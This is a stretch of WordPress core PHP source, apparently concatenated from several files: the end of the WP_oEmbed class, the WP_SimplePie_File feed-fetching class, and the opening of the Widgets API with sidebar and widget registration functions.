		self::$early_providers['remove'][] = $format;
	}

	/**
	 * Takes a URL and attempts to return the oEmbed data.
	 *
	 * @see WP_oEmbed::fetch()
	 *
	 * @since 4.8.0
	 *
	 * @param string       $url  The URL to the content that should be attempted to be embedded.
	 * @param string|array $args Optional. Additional arguments for retrieving embed HTML.
	 *                           See wp_oembed_get() for accepted arguments. Default empty.
	 * @return object|false The result in the form of an object on success, false on failure.
	 */
	public function get_data( $url, $args = '' ) {
		$args = wp_parse_args( $args );

		$provider = $this->get_provider( $url, $args );

		if ( ! $provider ) {
			return false;
		}

		$data = $this->fetch( $provider, $url, $args );

		if ( false === $data ) {
			return false;
		}

		return $data;
	}

	/**
	 * The do-it-all function that takes a URL and attempts to return the HTML.
	 *
	 * @see WP_oEmbed::fetch()
	 * @see WP_oEmbed::data2html()
	 *
	 * @since 2.9.0
	 *
	 * @param string       $url  The URL to the content that should be attempted to be embedded.
	 * @param string|array $args Optional. Additional arguments for retrieving embed HTML.
	 *                           See wp_oembed_get() for accepted arguments. Default empty.
	 * @return string|false The UNSANITIZED (and potentially unsafe) HTML that should be used to embed
	 *                      on success, false on failure.
	 */
	public function get_html( $url, $args = '' ) {
		/**
		 * Filters the oEmbed result before any HTTP requests are made.
		 *
		 * This allows one to short-circuit the default logic, perhaps by
		 * replacing it with a routine that is more optimal for your setup.
		 *
		 * Returning a non-null value from the filter will effectively short-circuit retrieval
		 * and return the passed value instead.
		 *
		 * @since 4.5.3
		 *
		 * @param null|string  $result The UNSANITIZED (and potentially unsafe) HTML that should be used to embed.
		 *                             Default null to continue retrieving the result.
		 * @param string       $url    The URL to the content that should be attempted to be embedded.
		 * @param string|array $args   Optional. Additional arguments for retrieving embed HTML.
		 *                             See wp_oembed_get() for accepted arguments. Default empty.
		 */
		$pre = apply_filters( 'pre_oembed_result', null, $url, $args );

		if ( null !== $pre ) {
			return $pre;
		}

		$data = $this->get_data( $url, $args );

		if ( false === $data ) {
			return false;
		}

		/**
		 * Filters the HTML returned by the oEmbed provider.
		 *
		 * @since 2.9.0
		 *
		 * @param string|false $data The returned oEmbed HTML (false if unsafe).
		 * @param string       $url  URL of the content to be embedded.
		 * @param string|array $args Optional. Additional arguments for retrieving embed HTML.
		 *                           See wp_oembed_get() for accepted arguments. Default empty.
		 */
		return apply_filters( 'oembed_result', $this->data2html( $data, $url ), $url, $args );
	}

	/**
	 * Attempts to discover link tags at the given URL for an oEmbed provider.
	 *
	 * @since 2.9.0
	 *
	 * @param string $url The URL that should be inspected for discovery `<link>` tags.
	 * @return string|false The oEmbed provider URL on success, false on failure.
	 */
	public function discover( $url ) {
		$providers = array();
		$args      = array(
			'limit_response_size' => 153600, // 150 KB
		);

		/**
		 * Filters oEmbed remote get arguments.
		 *
		 * @since 4.0.0
		 *
		 * @see WP_Http::request()
		 *
		 * @param array  $args oEmbed remote get arguments.
		 * @param string $url  URL to be inspected.
		 */
		$args = apply_filters( 'oembed_remote_get_args', $args, $url );

		// Fetch URL content.
		$request = wp_safe_remote_get( $url, $args );
		$html    = wp_remote_retrieve_body( $request );
		if ( $html ) {

			/**
			 * Filters the link types that contain oEmbed provider URLs.
			 *
			 * @since 2.9.0
			 *
			 * @param string[] $format Array of oEmbed link types. Accepts 'application/json+oembed',
			 *                         'text/xml+oembed', and 'application/xml+oembed' (incorrect,
			 *                         used by at least Vimeo).
			 */
			$linktypes = apply_filters(
				'oembed_linktypes',
				array(
					'application/json+oembed' => 'json',
					'text/xml+oembed'         => 'xml',
					'application/xml+oembed'  => 'xml',
				)
			);

			// Strip <body>.
			$html_head_end = stripos( $html, '</head>' );
			if ( $html_head_end ) {
				$html = substr( $html, 0, $html_head_end );
			}

			// Do a quick check.
			$tagfound = false;
			foreach ( $linktypes as $linktype => $format ) {
				if ( stripos( $html, $linktype ) ) {
					$tagfound = true;
					break;
				}
			}

			if ( $tagfound && preg_match_all( '#<link([^<>]+)/?>#iU', $html, $links ) ) {
				foreach ( $links[1] as $link ) {
					$atts = shortcode_parse_atts( $link );

					if ( ! empty( $atts['type'] ) && ! empty( $linktypes[ $atts['type'] ] ) && ! empty( $atts['href'] ) ) {
						$providers[ $linktypes[ $atts['type'] ] ] = htmlspecialchars_decode( $atts['href'] );

						// Stop here if it's JSON (that's all we need).
						if ( 'json' === $linktypes[ $atts['type'] ] ) {
							break;
						}
					}
				}
			}
		}

		// JSON is preferred to XML.
		if ( ! empty( $providers['json'] ) ) {
			return $providers['json'];
		} elseif ( ! empty( $providers['xml'] ) ) {
			return $providers['xml'];
		} else {
			return false;
		}
	}

	/**
	 * Connects to an oEmbed provider and returns the result.
	 *
	 * @since 2.9.0
	 *
	 * @param string       $provider The URL to the oEmbed provider.
	 * @param string       $url      The URL to the content that is desired to be embedded.
	 * @param string|array $args     Optional. Additional arguments for retrieving embed HTML.
	 *                               See wp_oembed_get() for accepted arguments. Default empty.
	 * @return object|false The result in the form of an object on success, false on failure.
	 */
	public function fetch( $provider, $url, $args = '' ) {
		$args = wp_parse_args( $args, wp_embed_defaults( $url ) );

		$provider = add_query_arg( 'maxwidth', (int) $args['width'], $provider );
		$provider = add_query_arg( 'maxheight', (int) $args['height'], $provider );
		$provider = add_query_arg( 'url', urlencode( $url ), $provider );
		$provider = add_query_arg( 'dnt', 1, $provider );

		/**
		 * Filters the oEmbed URL to be fetched.
		 *
		 * @since 2.9.0
		 * @since 4.9.0 The `dnt` (Do Not Track) query parameter was added to all oEmbed provider URLs.
		 *
		 * @param string $provider URL of the oEmbed provider.
		 * @param string $url      URL of the content to be embedded.
		 * @param array  $args     Optional. Additional arguments for retrieving embed HTML.
		 *                         See wp_oembed_get() for accepted arguments. Default empty.
		 */
		$provider = apply_filters( 'oembed_fetch_url', $provider, $url, $args );

		foreach ( array( 'json', 'xml' ) as $format ) {
			$result = $this->_fetch_with_format( $provider, $format );
			if ( is_wp_error( $result ) && 'not-implemented' === $result->get_error_code() ) {
				continue;
			}

			return ( $result && ! is_wp_error( $result ) ) ? $result : false;
		}

		return false;
	}

	/**
	 * Fetches result from an oEmbed provider for a specific format and complete provider URL
	 *
	 * @since 3.0.0
	 *
	 * @param string $provider_url_with_args URL to the provider with full arguments list (url, maxheight, etc.)
	 * @param string $format                 Format to use.
	 * @return object|false|WP_Error The result in the form of an object on success, false on failure.
	 */
	private function _fetch_with_format( $provider_url_with_args, $format ) {
		$provider_url_with_args = add_query_arg( 'format', $format, $provider_url_with_args );

		/** This filter is documented in wp-includes/class-wp-oembed.php */
		$args = apply_filters( 'oembed_remote_get_args', array(), $provider_url_with_args );

		$response = wp_safe_remote_get( $provider_url_with_args, $args );

		if ( 501 === wp_remote_retrieve_response_code( $response ) ) {
			return new WP_Error( 'not-implemented' );
		}

		$body = wp_remote_retrieve_body( $response );
		if ( ! $body ) {
			return false;
		}

		$parse_method = "_parse_$format";

		return $this->$parse_method( $body );
	}

	/**
	 * Parses a json response body.
	 *
	 * @since 3.0.0
	 *
	 * @param string $response_body
	 * @return object|false
	 */
	private function _parse_json( $response_body ) {
		$data = json_decode( trim( $response_body ) );

		return ( $data && is_object( $data ) ) ? $data : false;
	}

	/**
	 * Parses an XML response body.
	 *
	 * @since 3.0.0
	 *
	 * @param string $response_body
	 * @return object|false
	 */
	private function _parse_xml( $response_body ) {
		if ( ! function_exists( 'libxml_disable_entity_loader' ) ) {
			return false;
		}

		if ( PHP_VERSION_ID < 80000 ) {
			/*
			 * This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading
			 * is disabled by default, so this function is no longer needed to protect against XXE attacks.
			 */
			$loader = libxml_disable_entity_loader( true );
		}

		$errors = libxml_use_internal_errors( true );

		$return = $this->_parse_xml_body( $response_body );

		libxml_use_internal_errors( $errors );

		if ( PHP_VERSION_ID < 80000 && isset( $loader ) ) {
			// phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.libxml_disable_entity_loaderDeprecated
			libxml_disable_entity_loader( $loader );
		}

		return $return;
	}

	/**
	 * Serves as a helper function for parsing an XML response body.
	 *
	 * @since 3.6.0
	 *
	 * @param string $response_body
	 * @return stdClass|false
	 */
	private function _parse_xml_body( $response_body ) {
		if ( ! function_exists( 'simplexml_import_dom' ) || ! class_exists( 'DOMDocument', false ) ) {
			return false;
		}

		$dom     = new DOMDocument();
		$success = $dom->loadXML( $response_body );
		if ( ! $success ) {
			return false;
		}

		if ( isset( $dom->doctype ) ) {
			return false;
		}

		foreach ( $dom->childNodes as $child ) {
			if ( XML_DOCUMENT_TYPE_NODE === $child->nodeType ) {
				return false;
			}
		}

		$xml = simplexml_import_dom( $dom );
		if ( ! $xml ) {
			return false;
		}

		$return = new stdClass();
		foreach ( $xml as $key => $value ) {
			$return->$key = (string) $value;
		}

		return $return;
	}

	/**
	 * Converts a data object from WP_oEmbed::fetch() and returns the HTML.
	 *
	 * @since 2.9.0
	 *
	 * @param object $data A data object result from an oEmbed provider.
	 * @param string $url  The URL to the content that is desired to be embedded.
	 * @return string|false The HTML needed to embed on success, false on failure.
	 */
	public function data2html( $data, $url ) {
		if ( ! is_object( $data ) || empty( $data->type ) ) {
			return false;
		}

		$return = false;

		switch ( $data->type ) {
			case 'photo':
				if ( empty( $data->url ) || empty( $data->width ) || empty( $data->height ) ) {
					break;
				}
				if ( ! is_string( $data->url ) || ! is_numeric( $data->width ) || ! is_numeric( $data->height ) ) {
					break;
				}

				$title  = ! empty( $data->title ) && is_string( $data->title ) ? $data->title : '';
				$return = '<a href="' . esc_url( $url ) . '"><img src="' . esc_url( $data->url ) . '" alt="' . esc_attr( $title ) . '" width="' . esc_attr( $data->width ) . '" height="' . esc_attr( $data->height ) . '" /></a>';
				break;

			case 'video':
			case 'rich':
				if ( ! empty( $data->html ) && is_string( $data->html ) ) {
					$return = $data->html;
				}
				break;

			case 'link':
				if ( ! empty( $data->title ) && is_string( $data->title ) ) {
					$return = '<a href="' . esc_url( $url ) . '">' . esc_html( $data->title ) . '</a>';
				}
				break;

			default:
				$return = false;
		}

		/**
		 * Filters the returned oEmbed HTML.
		 *
		 * Use this filter to add support for custom data types, or to filter the result.
		 *
		 * @since 2.9.0
		 *
		 * @param string $return The returned oEmbed HTML.
		 * @param object $data   A data object result from an oEmbed provider.
		 * @param string $url    The URL of the content to be embedded.
		 */
		return apply_filters( 'oembed_dataparse', $return, $data, $url );
	}

	/**
	 * Strips any new lines from the HTML.
	 *
	 * @since 2.9.0 as strip_scribd_newlines()
	 * @since 3.0.0
	 *
	 * @param string $html Existing HTML.
	 * @param object $data Data object from WP_oEmbed::data2html()
	 * @param string $url The original URL passed to oEmbed.
	 * @return string Possibly modified $html
	 */
	public function _strip_newlines( $html, $data, $url ) {
		if ( ! str_contains( $html, "\n" ) ) {
			return $html;
		}

		$count     = 1;
		$found     = array();
		$token     = '__PRE__';
		$search    = array( "\t", "\n", "\r", ' ' );
		$replace   = array( '__TAB__', '__NL__', '__CR__', '__SPACE__' );
		$tokenized = str_replace( $search, $replace, $html );

		preg_match_all( '#(<pre[^>]*>.+?</pre>)#i', $tokenized, $matches, PREG_SET_ORDER );
		foreach ( $matches as $i => $match ) {
			$tag_html  = str_replace( $replace, $search, $match[0] );
			$tag_token = $token . $i;

			$found[ $tag_token ] = $tag_html;
			$html                = str_replace( $tag_html, $tag_token, $html, $count );
		}

		$replaced = str_replace( $replace, $search, $html );
		$stripped = str_replace( array( "\r\n", "\n" ), '', $replaced );
		$pre      = array_values( $found );
		$tokens   = array_keys( $found );

		return str_replace( $tokens, $pre, $stripped );
	}
}
<?php
/**
 * Feed API: WP_SimplePie_File class
 *
 * @package WordPress
 * @subpackage Feed
 * @since 4.7.0
 */

/**
 * Core class for fetching remote files and reading local files with SimplePie.
 *
 * This uses Core's HTTP API to make requests, which gives plugins the ability
 * to hook into the process.
 *
 * @since 2.8.0
 */
#[AllowDynamicProperties]
class WP_SimplePie_File extends SimplePie_File {

	/**
	 * Timeout.
	 *
	 * @var int How long the connection should stay open in seconds.
	 */
	public $timeout = 10;

	/**
	 * Constructor.
	 *
	 * @since 2.8.0
	 * @since 3.2.0 Updated to use a PHP5 constructor.
	 * @since 5.6.1 Multiple headers are concatenated into a comma-separated string,
	 *              rather than remaining an array.
	 *
	 * @param string       $url             Remote file URL.
	 * @param int          $timeout         Optional. How long the connection should stay open in seconds.
	 *                                      Default 10.
	 * @param int          $redirects       Optional. The number of allowed redirects. Default 5.
	 * @param string|array $headers         Optional. Array or string of headers to send with the request.
	 *                                      Default null.
	 * @param string       $useragent       Optional. User-agent value sent. Default null.
	 * @param bool         $force_fsockopen Optional. Whether to force opening internet or unix domain socket
	 *                                      connection or not. Default false.
	 */
	public function __construct( $url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false ) {
		$this->url       = $url;
		$this->timeout   = $timeout;
		$this->redirects = $redirects;
		$this->headers   = $headers;
		$this->useragent = $useragent;

		$this->method = SIMPLEPIE_FILE_SOURCE_REMOTE;

		if ( preg_match( '/^http(s)?:\/\//i', $url ) ) {
			$args = array(
				'timeout'     => $this->timeout,
				'redirection' => $this->redirects,
			);

			if ( ! empty( $this->headers ) ) {
				$args['headers'] = $this->headers;
			}

			if ( SIMPLEPIE_USERAGENT !== $this->useragent ) { // Use default WP user agent unless custom has been specified.
				$args['user-agent'] = $this->useragent;
			}

			$res = wp_safe_remote_request( $url, $args );

			if ( is_wp_error( $res ) ) {
				$this->error   = 'WP HTTP Error: ' . $res->get_error_message();
				$this->success = false;

			} else {
				$this->headers = wp_remote_retrieve_headers( $res );

				/*
				 * SimplePie expects multiple headers to be stored as a comma-separated string,
				 * but `wp_remote_retrieve_headers()` returns them as an array, so they need
				 * to be converted.
				 *
				 * The only exception to that is the `content-type` header, which should ignore
				 * any previous values and only use the last one.
				 *
				 * @see SimplePie_HTTP_Parser::new_line().
				 */
				foreach ( $this->headers as $name => $value ) {
					if ( ! is_array( $value ) ) {
						continue;
					}

					if ( 'content-type' === $name ) {
						$this->headers[ $name ] = array_pop( $value );
					} else {
						$this->headers[ $name ] = implode( ', ', $value );
					}
				}

				$this->body        = wp_remote_retrieve_body( $res );
				$this->status_code = wp_remote_retrieve_response_code( $res );
			}
		} else {
			$this->error   = '';
			$this->success = false;
		}
	}
}
<?php
/**
 * Core Widgets API
 *
 * This API is used for creating dynamic sidebar without hardcoding functionality into
 * themes
 *
 * Includes both internal WordPress routines and theme-use routines.
 *
 * This functionality was found in a plugin before the WordPress 2.2 release, which
 * included it in the core from that point on.
 *
 * @link https://wordpress.org/documentation/article/manage-wordpress-widgets/
 * @link https://developer.wordpress.org/themes/functionality/widgets/
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 2.2.0
 */

//
// Global Variables.
//

/** @ignore */
global $wp_registered_sidebars, $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates;

/**
 * Stores the sidebars, since many themes can have more than one.
 *
 * @global array $wp_registered_sidebars The registered sidebars.
 * @since 2.2.0
 */
$wp_registered_sidebars = array();

/**
 * Stores the registered widgets.
 *
 * @global array $wp_registered_widgets The registered widgets.
 * @since 2.2.0
 */
$wp_registered_widgets = array();

/**
 * Stores the registered widget controls (options).
 *
 * @global array $wp_registered_widget_controls The registered widget controls.
 * @since 2.2.0
 */
$wp_registered_widget_controls = array();
/**
 * @global array $wp_registered_widget_updates The registered widget updates.
 */
$wp_registered_widget_updates = array();

/**
 * Private
 *
 * @global array $_wp_sidebars_widgets
 */
$_wp_sidebars_widgets = array();

/**
 * Private
 *
 * @global array $_wp_deprecated_widgets_callbacks
 */
$GLOBALS['_wp_deprecated_widgets_callbacks'] = array(
	'wp_widget_pages',
	'wp_widget_pages_control',
	'wp_widget_calendar',
	'wp_widget_calendar_control',
	'wp_widget_archives',
	'wp_widget_archives_control',
	'wp_widget_links',
	'wp_widget_meta',
	'wp_widget_meta_control',
	'wp_widget_search',
	'wp_widget_recent_entries',
	'wp_widget_recent_entries_control',
	'wp_widget_tag_cloud',
	'wp_widget_tag_cloud_control',
	'wp_widget_categories',
	'wp_widget_categories_control',
	'wp_widget_text',
	'wp_widget_text_control',
	'wp_widget_rss',
	'wp_widget_rss_control',
	'wp_widget_recent_comments',
	'wp_widget_recent_comments_control',
);

//
// Template tags & API functions.
//

/**
 * Register a widget
 *
 * Registers a WP_Widget widget
 *
 * @since 2.8.0
 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
 *              instead of simply a `WP_Widget` subclass name.
 *
 * @see WP_Widget
 *
 * @global WP_Widget_Factory $wp_widget_factory
 *
 * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
 */
function register_widget( $widget ) {
	global $wp_widget_factory;

	$wp_widget_factory->register( $widget );
}

/**
 * Unregisters a widget.
 *
 * Unregisters a WP_Widget widget. Useful for un-registering default widgets.
 * Run within a function hooked to the {@see 'widgets_init'} action.
 *
 * @since 2.8.0
 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
 *              instead of simply a `WP_Widget` subclass name.
 *
 * @see WP_Widget
 *
 * @global WP_Widget_Factory $wp_widget_factory
 *
 * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
 */
function unregister_widget( $widget ) {
	global $wp_widget_factory;

	$wp_widget_factory->unregister( $widget );
}

/**
 * Creates multiple sidebars.
 *
 * If you wanted to quickly create multiple sidebars for a theme or internally.
 * This function will allow you to do so. If you don't pass the 'name' and/or
 * 'id' in `$args`, then they will be built for you.
 *
 * @since 2.2.0
 *
 * @see register_sidebar() The second parameter is documented by register_sidebar() and is the same here.
 *
 * @global array $wp_registered_sidebars The new sidebars are stored in this array by sidebar ID.
 *
 * @param int          $number Optional. Number of sidebars to create. Default 1.
 * @param array|string $args {
 *     Optional. Array or string of arguments for building a sidebar.
 *
 *     @type string $id   The base string of the unique identifier for each sidebar. If provided, and multiple
 *                        sidebars are being defined, the ID will have "-2" appended, and so on.
 *                        Default 'sidebar-' followed by the number the sidebar creation is currently at.
 *     @type string $name The name or title for the sidebars displayed in the admin dashboard. If registering
 *                        more than one sidebar, include '%d' in the string as a placeholder for the uniquely
 *                        assigned number for each sidebar.
 *                        Default 'Sidebar' for the first sidebar, otherwise 'Sidebar %d'.
 * }
 */
function register_sidebars( $number = 1, $args = array() ) {
	global $wp_registered_sidebars;
	$number = (int) $number;

	if ( is_string( $args ) ) {
		parse_str( $args, $args );
	}

	for ( $i = 1; $i <= $number; $i++ ) {
		$_args = $args;

		if ( $number > 1 ) {
			if ( isset( $args['name'] ) ) {
				$_args['name'] = sprintf( $args['name'], $i );
			} else {
				/* translators: %d: Sidebar number. */
				$_args['name'] = sprintf( __( 'Sidebar %d' ), $i );
			}
		} else {
			$_args['name'] = isset( $args['name'] ) ? $args['name'] : __( 'Sidebar' );
		}

		/*
		 * Custom specified ID's are suffixed if they exist already.
		 * Automatically generated sidebar names need to be suffixed regardless starting at -0.
		 */
		if ( isset( $args['id'] ) ) {
			$_args['id'] = $args['id'];
			$n           = 2; // Start at -2 for conflicting custom IDs.
			while ( is_registered_sidebar( $_args['id'] ) ) {
				$_args['id'] = $args['id'] . '-' . $n++;
			}
		} else {
			$n = count( $wp_registered_sidebars );
			do {
				$_args['id'] = 'sidebar-' . ++$n;
			} while ( is_registered_sidebar( $_args['id'] ) );
		}
		register_sidebar( $_args );
	}
}

/**
 * Builds the definition for a single sidebar and returns the ID.
 *
 * Accepts either a string or an array and then parses that against a set
 * of default arguments for the new sidebar. WordPress will automatically
 * generate a sidebar ID and name based on the current number of registered
 * sidebars if those arguments are not included.
 *
 * When allowing for automatic generation of the name and ID parameters, keep
 * in mind that the incrementor for your sidebar can change over time depending
 * on what other plugins and themes are installed.
 *
 * If theme support for 'widgets' has not yet been added when this function is
 * called, it will be automatically enabled through the use of add_theme_support()
 *
 * @since 2.2.0
 * @since 5.6.0 Added the `before_sidebar` and `after_sidebar` arguments.
 * @since 5.9.0 Added the `show_in_rest` argument.
 *
 * @global array $wp_registered_sidebars The registered sidebars.
 *
 * @param array|string $args {
 *     Optional. Array or string of arguments for the sidebar being registered.
 *
 *     @type string $name           The name or title of the sidebar displayed in the Widgets
 *                                  interface. Default 'Sidebar $instance'.
 *     @type string $id             The unique identifier by which the sidebar will be called.
 *                                  Default 'sidebar-$instance'.
 *     @type string $description    Description of the sidebar, displayed in the Widgets interface.
 *                                  Default empty string.
 *     @type string $class          Extra CSS class to assign to the sidebar in the Widgets interface.
 *                                  Default empty.
 *     @type string $before_widget  HTML content to prepend to each widget's HTML output when assigned
 *                                  to this sidebar. Receives the widget's ID attribute as `%1$s`
 *                                  and class name as `%2$s`. Default is an opening list item element.
 *     @type string $after_widget   HTML content to append to each widget's HTML output when assigned
 *                                  to this sidebar. Default is a closing list item element.
 *     @type string $before_title   HTML content to prepend to the sidebar title when displayed.
 *                                  Default is an opening h2 element.
 *     @type string $after_title    HTML content to append to the sidebar title when displayed.
 *                                  Default is a closing h2 element.
 *     @type string $before_sidebar HTML content to prepend to the sidebar when displayed.
 *                                  Receives the `$id` argument as `%1$s` and `$class` as `%2$s`.
 *                                  Outputs after the {@see 'dynamic_sidebar_before'} action.
 *                                  Default empty string.
 *     @type string $after_sidebar  HTML content to append to the sidebar when displayed.
 *                                  Outputs before the {@see 'dynamic_sidebar_after'} action.
 *                                  Default empty string.
 *     @type bool $show_in_rest     Whether to show this sidebar publicly in the REST API.
 *                                  Defaults to only showing the sidebar to administrator users.
 * }
 * @return string Sidebar ID added to $wp_registered_sidebars global.
 */
function register_sidebar( $args = array() ) {
	global $wp_registered_sidebars;

	$i = count( $wp_registered_sidebars ) + 1;

	$id_is_empty = empty( $args['id'] );

	$defaults = array(
		/* translators: %d: Sidebar number. */
		'name'           => sprintf( __( 'Sidebar %d' ), $i ),
		'id'             => "sidebar-$i",
		'description'    => '',
		'class'          => '',
		'before_widget'  => '<li id="%1$s" class="widget %2$s">',
		'after_widget'   => "</li>\n",
		'before_title'   => '<h2 class="widgettitle">',
		'after_title'    => "</h2>\n",
		'before_sidebar' => '',
		'after_sidebar'  => '',
		'show_in_rest'   => false,
	);

	/**
	 * Filters the sidebar default arguments.
	 *
	 * @since 5.3.0
	 *
	 * @see register_sidebar()
	 *
	 * @param array $defaults The default sidebar arguments.
	 */
	$sidebar = wp_parse_args( $args, apply_filters( 'register_sidebar_defaults', $defaults ) );

	if ( $id_is_empty ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: 1: The 'id' argument, 2: Sidebar name, 3: Recommended 'id' value. */
				__( 'No %1$s was set in the arguments array for the "%2$s" sidebar. Defaulting to "%3$s". Manually set the %1$s to "%3$s" to silence this notice and keep existing sidebar content.' ),
				'<code>id</code>',
				$sidebar['name'],
				$sidebar['id']
			),
			'4.2.0'
		);
	}

	$wp_registered_sidebars[ $sidebar['id'] ] = $sidebar;

	add_theme_support( 'widgets' );

	/**
	 * Fires once a sidebar has been registered.
	 *
	 * @since 3.0.0
	 *
	 * @param array $sidebar Parsed arguments for the registered sidebar.
	 */
	do_action( 'register_sidebar', $sidebar );

	return $sidebar['id'];
}

/**
 * Removes a sidebar from the list.
 *
 * @since 2.2.0
 *
 * @global array $wp_registered_sidebars The registered sidebars.
 *
 * @param string|int $sidebar_id The ID of the sidebar when it was registered.
 */
function unregister_sidebar( $sidebar_id ) {
	global $wp_registered_sidebars;

	unset( $wp_registered_sidebars[ $sidebar_id ] );
}

/**
 * Checks if a sidebar is registered.
 *
 * @since 4.4.0
 *
 * @global array $wp_registered_sidebars The registered sidebars.
 *
 * @param string|int $sidebar_id The ID of the sidebar when it was registered.
 * @return bool True if the sidebar is registered, false otherwise.
 */
function is_registered_sidebar( $sidebar_id ) {
	global $wp_registered_sidebars;

	return isset( $wp_registered_sidebars[ $sidebar_id ] );
}

/**
 * Register an instance of a widget.
 *
 * The default widget option is 'classname' that can be overridden.
 *
 * The function can also be used to un-register widgets when `$output_callback`
 * parameter is an empty string.
 *
 * @since 2.2.0
 * @since 5.3.0 Formalized the existing and already documented `...$params` parameter
 *              by adding it to the function signature.
 * @since 5.8.0 Added show_instance_in_rest option.
 *
 * @global array $wp_registered_widgets            Uses stored registered widgets.
 * @global array $wp_registered_widget_controls    Stores the registered widget controls (options).
 * @global array $wp_registered_widget_updates     The registered widget updates.
 * @global array $_wp_deprecated_widgets_callbacks
 *
 * @param int|string $id              Widget ID.
 * @param string     $name            Widget display title.
 * @param callable   $output_callback Run when widget is called.
 * @param array      $options {
 *     Optional. An array of supplementary widget options for the instance.
 *
 *     @type string $classname             Class name for the widget's HTML container. Default is a shortened
 *                                         version of the output callback name.
 *     @type string $description           Widget description for display in the widget administration
 *                                         panel and/or theme.
 *     @type bool   $show_instance_in_rest Whether to show the widget's instance settings in the REST API.
 *                                         Only available for WP_Widget based widgets.
 * }
 * @param mixed      ...$params       Optional additional parameters to pass to the callback function when it's called.
 */
function wp_register_sidebar_widget( $id, $name, $output_callback, $options = array(), ...$params ) {
	global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates, $_wp_deprecated_widgets_callbacks;

	$id = strtolower( $id );

	if ( empty( $output_callback ) ) {
		unset( $wp_registered_widgets[ $id ] );
		return;
	}

	$id_base = _get_widget_id_base( $id );
	if ( in_array( $output_callback, $_wp_deprecated_widgets_callbacks, true ) && ! is_callable( $output_callback ) ) {
		unset( $wp_registered_widget_controls[ $id ] );
		unset( $wp_registered_widget_updates[ $id_base ] );
		return;
	}

	$defaults = array( 'classname' => $output_callback );
	$options  = wp_parse_args( $options, $defaults );
	$widget   = array(
		'name'     => $name,
		'id'       => $id,
		'callback' => $output_callback,
		'params'   => $params,
	);
	$widget   = array_merge( $widget, $options );

	if ( is_callable( $output_callback ) && ( ! isset( $wp_registered_widgets[ $id ] ) || did_action( 'widgets_init' ) ) ) {

		/**
		 * Fires once for each registered widget.
		 *
		 * @since 3.0.0
		 *
		 * @param array $widget An array of default widget arguments.
		 */
		do_action( 'wp_register_sidebar_widget', $widget );
		$wp_registered_widgets[ $id ] = $widget;
	}
}

/**
 * Retrieve description for widget.
 *
 * When registering widgets, the options can also include 'description' that
 * describes the widget for display on the widget administration panel or
 * in the theme.
 *
 * @since 2.5.0
 *
 * @global array $wp_registered_widgets The registered widgets.
 *
 * @param int|string $id Widget ID.
 * @return string|void Widget description, if available.
 */
function wp_widget_description( $id ) {
	if ( ! is_scalar( $id ) ) {
		return;
	}

	global $wp_registered_widgets;

	if ( isset( $wp_registered_widgets[ $id ]['description'] ) ) {
		return esc_html( $wp_registered_widgets[ $id ]['description'] );
	}
}

/**
 * Retrieve description for a sidebar.
 *
 * When registering sidebars a 'description' parameter can be included that
 * describes the sidebar for display on the widget administration panel.
 *
 * @since 2.9.0
 *
 * @global array $wp_registered_sidebars The registered sidebars.
 *
 * @param string $id sidebar ID.
 * @return string|void Sidebar description, if available.
 */
function wp_sidebar_description( $id ) {
	if ( ! is_scalar( $id ) ) {
		return;
	}

	global $wp_registered_sidebars;

	if ( isset( $wp_registered_sidebars[ $id ]['description'] ) ) {
		return wp_kses( $wp_registered_sidebars[ $id ]['description'], 'sidebar_description' );
	}
}

/**
 * Remove widget from sidebar.
 *
 * @since 2.2.0
 *
 * @param int|string $id Widget ID.
 */
function wp_unregister_sidebar_widget( $id ) {

	/**
	 * Fires just before a widget is removed from a sidebar.
	 *
	 * @since 3.0.0
	 *
	 * @param int|string $id The widget ID.
	 */
	do_action( 'wp_unregister_sidebar_widget', $id );

	wp_register_sidebar_widget( $id, '', '' );
	wp_unregister_widget_control( $id );
}

/**
 * Registers widget control callback for customizing options.
 *
 * @since 2.2.0
 * @since 5.3.0 Formalized the existing and already documented `...$params` parameter
 *              by adding it to the function signature.
 *
 * @global array $wp_registered_widget_controls The registered widget controls.
 * @global array $wp_registered_widget_updates  The registered widget updates.
 * @global array $wp_registered_widgets         The registered widgets.
 * @global array $_wp_deprecated_widgets_callbacks
 *
 * @param int|string $id               Sidebar ID.
 * @param string     $name             Sidebar display name.
 * @param callable   $control_callback Run when sidebar is displayed.
 * @param array      $options {
 *     Optional. Array or string of control options. Default empty array.
 *
 *     @type int        $height  Never used. Default 200.
 *     @type int        $width   Width of the fully expanded control form (but try hard to use the default width).
 *                               Default 250.
 *     @type int|string $id_base Required for multi-widgets, i.e widgets that allow multiple instances such as the
 *                               text widget. The widget ID will end up looking like `{$id_base}-{$unique_number}`.
 * }
 * @param mixed      ...$params        Optional additional parameters to pass to the callback function when it's called.
 */
function wp_register_widget_control( $id, $name, $control_callback, $options = array(), ...$params ) {
	global $wp_registered_widget_controls, $wp_registered_widget_updates, $wp_registered_widgets, $_wp_deprecated_widgets_callbacks;

	$id      = strtolower( $id );
	$id_base = _get_widget_id_base( $id );

	if ( empty( $control_callback ) ) {
		unset( $wp_registered_widget_controls[ $id ] );
		unset( $wp_registered_widget_updates[ $id_base ] );
		return;
	}

	if ( in_array( $control_callback, $_wp_deprecated_widgets_callbacks, true ) && ! is_callable( $control_callback ) ) {
		unset( $wp_registered_widgets[ $id ] );
		return;
	}

	if ( isset( $wp_registered_widget_controls[ $id ] ) && ! did_action( 'widgets_init' ) ) {
		return;
	}

	$defaults          = array(
		'width'  => 250,
		'height' => 200,
	); // Height is never used.
	$options           = wp_parse_args( $options, $defaults );
	$options['width']  = (int) $options['width'];
	$options['height'] = (int) $options['height'];

	$widget = array(
		'name'     => $name,
		'id'       => $id,
		'callback' => $control_callback,
		'params'   => $params,
	);
	$widget = array_merge( $widget, $options );

	$wp_registered_widget_controls[ $id ] = $widget;

	if ( isset( $wp_registered_widget_updates[ $id_base ] ) ) {
		return;
	}

	if ( isset( $widget['params'][0]['number'] ) ) {
